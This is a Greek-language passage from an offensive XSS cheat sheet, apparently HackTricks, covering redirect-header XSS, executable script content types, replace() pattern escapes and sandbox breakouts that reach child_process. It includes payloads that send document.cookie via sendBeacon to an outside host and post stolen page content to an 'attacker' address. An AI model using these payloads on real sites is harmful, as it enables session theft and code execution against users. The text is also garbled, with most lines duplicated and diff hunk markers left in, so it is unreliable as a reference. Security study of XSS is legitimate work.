Εάν ανακαλύψετε ότι μπορείτε **να εισάγετε κεφαλίδες σε μια απάντηση 302 Ανακατεύθυνσης**, μπορείτε να προσπαθήσετε να **κάνετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό δεν είναι **απλό** καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απάντησης HTTP εάν ο κωδικός κατάστασης της απάντησης HTTP είναι 302, οπότε μόνο μια φόρτωση διασταυρωμένης σελίδας είναι άχρηστη.
Σε [**αυτήν την αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορους πρωτόκολλους μέσα στην κεφαλίδα Τοποθεσίας και να δείτε αν κάποιος από αυτούς επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το XSS payload μέσα στο σώμα.\
Σε [**αυτήν την αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε αρκετούς πρωτόκολλους μέσα στην κεφαλίδα Τοποθεσίας και να δείτε εάν κάποιος από αυτούς επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει τη φόρτωση XSS μέσα στο σώμα.\
Γνωστοί πρωτόκολλοι: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Τοποθεσίας_, `resource://`.
### Μόνο Γράμματα, Αριθμοί και Τελείες
Εάν μπορείτε να υποδείξετε το **κλήση** που το javascript θα **εκτελέσει** περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης**](./#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτήν τη συμπεριφορά.
Εάν μπορείτε να υποδείξετε το **κλήση** ότι το javascript θα **εκτελέσει** περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτήν την ενότητα αυτής της ανάρτησης**](./#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτήν τη συμπεριφορά.
### Έγκυροι Τύποι Περιεχομένου `<script>` για XSS
(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Εάν προσπαθήσετε να φορτώσετε ένα script με έναν **τύπο περιεχομένου** όπως `application/octet-stream`, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Εάν προσπαθήσετε να φορτώσετε ένα σενάριο με έναν **τύπο περιεχομένου** όπως `application/octet-stream`, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
> Αρνήθηκε την εκτέλεση του σεναρίου από το [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') επειδή ο τύπος MIME του (application/octet-stream) δεν είναι εκτελέσιμος, και η αυστηρή ελέγχεται η ταυτότητα του τύπου.
Οι μόνοι **Τύποι Περιεχομένου** που θα υποστηρίξουν το Chrome να εκτελέσει ένα **φορτωμένο script** είναι αυτοί που βρίσκονται μέσα στη σταθερά **`kSupportedJavascriptTypes`** από [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
Οι μόνοι **Τύποι Περιεχομένου** που θα υποστηρίξουν το Chrome να εκτελέσει ένα **φορτωμένο σενάριο** είναι αυτοί που βρίσκονται μέσα στη σταθερά **`kSupportedJavascriptTypes`** από [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -874,9 +874,9 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο [**συγκεκριμένο άρθρο**](https://github.com/zwade/yaca/tree/master/solution) για την ανακατανομή μιας βιβλιοθήκης στο eval για να την καταχραστεί και να ενεργοποιήσει XSS.
Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτήν την ανάλυση**](https://github.com/zwade/yaca/tree/master/solution) για την ανακατεύθυνση μιας βιβλιοθήκης στο eval για να την καταχραστεί και να ενεργοποιήσει XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτό το χαρακτηριστικό χρησιμοποιείται κυρίως για την επίλυση ορισμένων προβλημάτων που προκαλούνται από το προ-αποτύπωμα. Λειτουργεί ως εξής:
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτό το χαρακτηριστικό είναι κυρίως για την επίλυση ορισμένων προβλημάτων που προκαλούνται από το προ-αποτύπωμα. Λειτουργεί ως εξής:
```html
<script type="speculationrules">
{
@ -905,7 +905,7 @@ import { partition } from "lodash";
* application/rss+xml (απενεργοποιημένο)
* application/atom+xml (απενεργοποιημένο)
Σε άλλους browsers μπορούν να χρησιμοποιηθούν και άλλοι **`Τύποι-Περιεχομένου`** για την εκτέλεση αυθαίρετου JS, ελέγξτε: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Σε άλλους browsers μπορούν να χρησιμοποιηθούν και άλλοι **`Content-Types`** για την εκτέλεση αυθαίρετου JS, ελέγξτε: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### Τύπος Περιεχομένου xml
@ -919,9 +919,9 @@ import { partition } from "lodash";
```
### Ειδικά Πρότυπα Αντικατάστασης
Όταν χρησιμοποιείται κάτι σαν το **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβόλων**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Όταν χρησιμοποιείται κάτι σαν **`"some {{template}} data".replace("{{template}}", <user_input>)`**, ο επιτιθέμενος μπορεί να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβόλων**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Για παράδειγμα σε [**αυτό το άρθρο**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **αποδράσει ένα JSON string** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
Για παράδειγμα, σε [**αυτό το άρθρο**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **αποδράσει μια συμβολοσειρά JSON** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
### Chrome Cache σε XSS
@ -964,7 +964,7 @@ constructor(source)()
```
Εάν **τα πάντα είναι απροσδιόριστα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτήν την ανάλυση**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
* Χρησιμοποιώντας το import()
* Χρησιμοποιώντας import()
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
@ -977,7 +977,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
});
```
Επομένως, αν μπορούμε να **καλέσουμε μια άλλη συνάρτηση**, είναι δυνατόν να χρησιμοποιήσουμε το `arguments.callee.caller.arguments[1]` από αυτή τη συνάρτηση για να έχουμε πρόσβαση στο **`require`**:
Συνεπώς, αν μπορούμε **να καλέσουμε μια άλλη συνάρτηση** από αυτό το module, είναι δυνατόν να χρησιμοποιήσουμε το `arguments.callee.caller.arguments[1]` από αυτή τη συνάρτηση για να έχουμε πρόσβαση στο **`require`**:
{% code overflow="wrap" %}
```javascript
@ -1022,7 +1022,7 @@ console.log(req('child_process').execSync('id').toString())
}
trigger()
```
### Απόκρυψη & Προηγμένη Παράκαμψη
### Απόκρυψη & Προηγμένη Αντιστάθμιση
* **Διαφορετικές αποκρύψεις σε μία σελίδα:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
@ -1088,10 +1088,10 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
Δεν θα μπορείς **να έχεις πρόσβαση στα cookies από το JavaScript** εάν η σημαία HTTPOnly είναι ενεργοποιημένη στο cookie. Αλλά εδώ έχεις [μερικούς τρόπους για να παρακάμψεις αυτήν την προστασία](../hacking-with-cookies/#httponly) αν είσαι αρκετά τυχερός.
Δεν θα μπορέσετε **να έχετε πρόσβαση στα cookies από το JavaScript** εάν η σημαία HTTPOnly είναι ενεργοποιημένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία](../hacking-with-cookies/#httponly) αν είστε αρκετά τυχεροί.
{% endhint %}
### Κλοπή Περιεχομένου Σελίδας
### Κλοπή περιεχομένου σελίδας
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
@ -1238,7 +1238,7 @@ document.getElementById("message").src += "&"+e.data;
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
### Πληροφορίες για Blind XSS
### Πληροφορίες για Blind XSS payloads
Μπορείτε επίσης να χρησιμοποιήσετε: [https://xsshunter.com/](https://xsshunter.com)
```markup
@ -1282,7 +1282,7 @@ document.getElementById("message").src += "&"+e.data;
```
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από [**αυτή την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμα κι αν μερικές τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατόν να τις βρούμε σε χαρακτηριστικά JS σε διαφορετικά αντικείμενα. Για παράδειγμα, ένα input ενός REGEX είναι ακόμα δυνατόν να το βρούμε ακόμα κι αφού η τιμή του input του regex έχει αφαιρεθεί:
Από [**αυτή την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμα κι αν ορισμένες τιμές εξαφανιστούν από τον κώδικα JavaScript, είναι εξακριβωμένο ότι είναι δυνατόν να τις βρούμε σε γνωρίσματα JavaScript σε διαφορετικά αντικείμενα. Για παράδειγμα, ένα input ενός REGEX είναι ακόμα δυνατόν να βρεθεί ακόμα και μετά την αφαίρεση της τιμής της εισόδου του REGEX:
```javascript
// Do regex with flag
flag="CTF{FLAG}"
@ -1305,7 +1305,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### XSS στο Markdown
Μπορείτε να εισάγετε κώδικα Markdown που θα αποτυπωθεί; Ίσως να μπορείτε να πάρετε XSS! Ελέγξτε:
Μπορείτε να εισάγετε κώδικα Markdown που θα εκτελεστεί; Ίσως να μπορείτε να πάρετε XSS! Ελέγξτε:
{% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md](xss-in-markdown.md)
@ -1313,7 +1313,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### XSS προς SSRF
Καταφέρατε XSS σε μια **ιστοσελίδα που χρησιμοποιεί caching**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω της ενσωμάτωσης Edge Side με αυτό το payload:
Έχετε XSS σε έναν **ιστότοπο που χρησιμοποιεί προσωρινή μνήμη**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω της εισαγωγής Edge Side Include με αυτό το φορτίο:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1323,7 +1323,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### XSS σε δυναμικά δημιουργημένο PDF
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **εξαπατήσετε το bot** που δημιουργεί το PDF να **εκτελέσει αυθαίρετο κώδικα JS**.\
Έτσι, αν το **bot δημιουργού PDF βρει** κάποια είδους **HTML** **ετικέτες**, θα τις **ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτήν τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
Έτσι, αν το **bot δημιουργού PDF βρει** κάποια είδους **ετικέτες HTML**, θα τις **ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτήν τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1341,7 +1341,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
Η μορφή [**AMP για Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) επεκτείνει συγκεκριμένα στοιχεία AMP σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.
Παράδειγμα [**εκθέσεως XSS στο Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Παράδειγμα [**εκθεσης XSS στο Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS με μεταφόρτωση αρχείων (svg)
@ -1417,9 +1417,9 @@ id="foo"/>
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχακάριστο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού πολωνικού_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχακάριστο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -1432,7 +1432,7 @@ id="foo"/>
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>